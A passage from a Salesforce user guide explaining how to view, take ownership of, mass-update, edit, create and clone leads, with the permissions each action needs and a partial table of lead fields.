• To take ownership of leads in a queue, view the queue list view and check the box next to one or more leads. Optionally,
check the box in the column header to select all currently displayed items. Then click Accept.

1673
Leads Viewing Lead Lists

Note: The organization-wide sharing model for an object determines the access users have to that object's records
in queues:
Public Read/Write/Transfer
Users can view and take ownership of records from any queue.

Public Read/Write or Public Read Only


Users can view any queue but only take ownership of records from queues of which they are a member or,
depending on sharing settings, if they are higher in the role or territory hierarchy than a queue member.

Private
Users can only view and accept records from queues of which they are a member or, depending on sharing
settings, if they are higher in the role or territory hierarchy than a queue member.
Regardless of sharing model, users must have the “Edit” permission to take ownership of records in queues of which
they are a member. Administrators, users with the “Modify All” object-level permission for Cases, and users with
the “Modify All Data” permission, can view and take records from any queue regardless of the sharing model or
their membership in the queue.

• To add leads to an existing campaign, select the box next to one or more leads. Optionally, check the box in the column
header to select all currently displayed items. Then click Add to Campaign.
• Click New Lead or select Lead from the Create New drop-down list in the sidebar to create a lead.
• Click any column heading to sort the leads in ascending order using that column’s information. Click the heading a second
time to sort in descending order.
• At the top and bottom of the list, click a letter to display the contents of the sorted column that begin with that character.
• Click the Next Page (or Previous Page) link to go to the next or previous set of leads.
• At the bottom of the leads list view, select fewer or more to view a shorter or longer display list.
• Click the Open Calendar link at the bottom of the page to display a weekly view of a calendar underneath the list.
Then, you can drag a record from the list to a time slot on the calendar to quickly create an event associated with the record.
Note that your administrator controls the availability of drag-and-drop scheduling.

Note: Professional, Enterprise, Unlimited, and Developer Edition organizations can grant additional access to leads
beyond what the sharing model allows. See Setting Sharing Rules on page 211.

1674
Leads Changing Multiple Leads

Changing Multiple Leads


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To change the status of leads:
“Manage Leads”

To change the ownership of leads:


“Transfer Leads” OR “Transfer Record”
AND
“Edit” on leads

To add leads to campaigns from a list view:


Marketing User checked in your user record

AND
“Read” on leads
AND
“Edit” on campaigns

From any lead list page, administrators can “mass update” multiple leads. From any queue list view, users can take ownership
of leads if:

• They are a member of that queue


• They are higher in the role hierarchy than a queue member
• The organization's default sharing for leads is Public Read/Write/Transfer

Select the checkboxes next to the desired leads and click one of the following buttons:

• Accept: Assigns you as the owner of the selected leads and transfers open activities to you.
In organizations that are not Public Read/Write/Transfer for leads, you can take leads only from queues of which you are
a member or if you are higher in the role hierarchy than a queue member.
• Change Status: Changes the Status of the leads to the value you set.
You must have the “Manage Leads” permission and read/write access to the leads to use this feature. If you change the
status of a lead you own using the Change Status button, the Unread By Owner checkbox is still selected.
• Change Owner: Assigns leads to a user or queue you specify. If the new owner is a user—not a queue—associated notes,
attachments, and open activities are also transferred.
To use this feature, you must have the “Transfer Leads“ or “Transfer Record” permission, the “Edit” object permission on
leads, and access to view the leads you are updating.
• Add to Campaign: Adds leads to an existing campaign.

1675
Leads Displaying and Editing Leads

You must have the Marketing User box checked in your user information, the “Read” permission on leads, and the
“Edit” permission on campaigns to use this feature.

See Also:
Changing Ownership

Displaying and Editing Leads


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view leads: “Read” on leads
To change leads: “Edit” on leads

Displaying Leads
Once you have located a lead on the leads home or list pages, click the lead name to display detailed information.
Tip: If your organization has enabled hover details, hover over any lookup field on the detail page to view key
information about a record before clicking into that record's detail page.

Editing Leads
To update a lead, click Edit, and then change the fields you want to update. Optionally, select the Assign using
active assignment rule checkbox below the lead detail to automatically reassign it using the active lead assignment
rule (see Managing Assignment Rules on page 699). Open activities associated with a lead are not reassigned using the
active lead assignment rule; to reassign a lead and its open activities, manually change the lead owner on page 1159. When
you have finished, click Save. You can also click Save & New to save the current lead and create another.
Note: If your organization enabled inline editing, you can edit fields directly on the detail page.

Tagging Leads
If tags have been enabled, click Add Tags or Edit Tags in the Tags area directly under the title bar to tag the current
record. If the record is already tagged, click one of the tag names to view a list of all records with that tag.

Lead Related Lists


The lower portion of the display provides information related to the lead, including activities, notes, attachments, and
any campaigns associated with the lead. The related lists you see are determined by your personal customization, and by
any customization your administrator has made to page layouts or your permissions to view related data. You can click
individual items to display additional detail. Click more at the bottom of the page to display more items in the related

1676
Leads Creating Leads

lists. See Using the Open Activities Related List on page 1178 and Using the Activity History Related List on page 1179
for more information.
Note: If enabled by your administrator, related list hover links display at the top of each detail page. Hover your
mouse over a related list hover link to display the corresponding related list and its number of records in an
interactive overlay that allows you to quickly view and manage the related list items. You can also click a related
list hover link to jump down to the content of the related list without having to scroll down the page.

Sharing
In Professional, Enterprise, Unlimited, and Developer Edition organizations, share a lead with other users, groups, or
roles by clicking Sharing. See Sharing Leads on page 1687.

Printing Leads
To open a printable display of all information for a record, click Printable View on the detail page.

To return to the last list page you viewed, click Back to list at the top of the lead detail page. If your organization has enabled
collapsible page sections, use the arrow icons next to the section headings to expand or collapse each section on the detail page.
See Navigating on page 42 for more information.

See Also:
Lead Fields
Creating Leads
Cloning Leads
Converting Leads
Adding, Editing, or Cloning Individual Campaign Members
Deleting Leads
Searching for Leads
Changing the Record Type Field
Adding Translated Names
Sharing Leads
Merging Duplicate Leads

Creating Leads
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create leads: “Create” on leads

You can create new leads in various ways. Your administrator can set up Web-to-Lead to automatically capture leads from
your website (see Capturing Web Leads on page 670); your administrator can import new leads using the Import My
Organization’s Leads wizard; or you can create new leads manually in the Leads tab.

1677
Leads Cloning Leads

To manually create a new lead, select Lead from the Create New drop-down list in the sidebar, or click New next to Recent
Leads on the leads home page. Enter the lead information. Select the checkbox below the lead information to assign the lead
automatically using the active lead assignment rule (see Managing Assignment Rules on page 699). If you do not check the
box, you are assigned as the owner. Click Save when you are finished, or click Save & New to save the current lead and add
another.
If Quick Create is enabled by your administrator, you can also add a new lead on the leads home page.
Enterprise, Unlimited, and Developer Edition organizations can activate record types and ask you to choose a Record Type
when creating a record. This determines the picklist values and lead process available when creating and editing a record.
If your organization uses divisions, the division of a new lead is automatically set to your default division, unless you manually
select a different one.
Note: When you create a new lead manually:

• You are automatically assigned as the owner.


• The Lead Status is initially set to the default status specified by your administrator.
• If you select the assignment rule checkbox, the record type of the lead might change, depending on what behavior
your administrator specified for assignment rules. See Customizing Lead Settings on page 667.
• The lead is marked as “Read” and will not display in the My Unread Leads list view. However, if you save the lead
using the Save & New button, the lead is marked as “Unread.”

See Also:
Cloning Leads
Lead Fields
Leads Home

Cloning Leads
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To clone leads: “Create” on leads

The Clone button on a lead quickly creates a new lead with the same information as the existing lead.
To clone a lead, click Clone on an existing lead. Enter or change any information for the new lead. Select the checkbox to
assign the lead automatically using the active lead assignment rule. Click Save.

1678
Leads Lead Fields

Note: If you have read-only access to a field, the value of that field is not carried over to the cloned record.

See Also:
Lead Fields

Lead Fields
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

A lead has the following fields, listed in alphabetical order. Depending on your page layout and field-level security settings,
some fields may not be visible or editable. (Field-level security is available in Enterprise, Unlimited, and Developer Editions
only.)

Field Description
Address Street address for the lead, for example, 475 Boardwalk Ave.
Up to 255 characters are allowed in this field.
Annual Revenue Amount of annual revenue at lead’s company.
Campaign Name of the campaign responsible for generating the lead.
Displays only when creating a new lead. Data entered in this
field is stored in the Campaign History related list on the lead.
City City portion of the lead’s address, for example, San Francisco.
Up to 40 characters are allowed in this field.
Company Name of company with which lead is affiliated. Up to 255
characters are allowed in this field.
Company Name (Local) Name of the company in the local language.
Country Country portion of the lead’s address. Up to 40 characters are
allowed in this field.
Created By User who created the lead, including creation date and time.
(Read only)
Description Description of the lead. Up to 32KB of data are allowed in
this field. Only the first 255 characters display in reports.
Do Not Call Indicates if the lead does not want to be contacted via
telephone.

1679
Leads Lead Fields

Field Description
Email Email address of lead. Must be a valid email address in the
form: jsmith@acme.com. Up to 80 characters are allowed in
this field.
Click the email address in this field to send an email using
your personal email application. If the Gmail Buttons and
Links feature is enabled, you can click the Gmail link next to
the field to send an email from your Gmail account. See Using
Gmail in Salesforce.com on page 2033 for more information.

Email Opt Out Lead will not be included in mass emails.


Fax Lead’s fax number. Up to 40 characters are allowed in this
field.
Fax Opt Out Lead has not requested to be included in broadcast faxes.
First Name First name of the lead, as displayed on the lead edit page. Up
to 40 characters are allowed in this field.
First Name (Local) First name of the lead translated into the local language.
Industry Primary business of lead’s company. Entry is selected from a
picklist of available values, which are set by an administrator.
Each picklist value can have up to 40 characters.
Last Name Last name of the lead, as displayed on the lead edit page. Up
to 80 characters are allowed in this field.
Last Name (Local) Last name of the lead translated into the local language.
Last Transfer Date The date the lead owner was last changed.
Lead Currency The default currency for all currency amount fields in the lead.
Amounts display in the lead currency and are also converted
to the user’s personal currency. Available only for organizations
that use multiple currencies.
Lead Division
Division to which the lead belongs. Available only in
organizations that use divisions to segment their data.

Lead Owner Assigned owner of the lead.


Lead Record Type Name of the field that determines what picklist values are
available for the record. The record type may be associated
with a lead process. Available in Enterprise, Unlimited, and
Developer Editions.
Lead Source Source of lead, for example, Advertisement, Partner, or Web.
Entry is selected from a picklist of available values, which are
set by an administrator. Each picklist value can have up to 40
characters.

1680
Leads Lead Fields

Field Description
Lead Status Status of the lead, for example, Open, Contacted, Qualified.
Entry is selected from a picklist of available values, which are
set by an administrator. Each picklist value can have up to 40
characters.
Mobile Cellular or mobile phone number. Up to 40 characters are
allowed in this field.
Modified By User who last changed the lead fields, including modification
date and time. This does not track changes made to any of
the related list items on the lead. (Read only)
Name Combined first and last name of lead, as displayed on lead
detail page.
No. of Employees Number of employees at the lead’s company.
Phone Lead’s primary phone number. Up to 40 characters are allowed
in this field.
Partner Account Read-only field that indicates the lead is owned by a partner
user.
Rating Indicates value or prospect of the lead, for example, Hot,
Warm, Cold. Entry is selected from a picklist of available
values, which are set by an administrator. Each picklist value
can have up to 40 characters.
Read Flag indicating that the lead has been viewed or edited by the
lead owner. Flag is not displayed on lead edit or detail pages.
Leads marked as “Read” do not contain a check mark in the
Unread column on leads list views.
Salutation Title for addressing the lead, for example, Mr., Ms., Dr., or
Prof. Entry is selected from a picklist of available values, which
are set by an administrator. Each picklist value can have up to

You might also like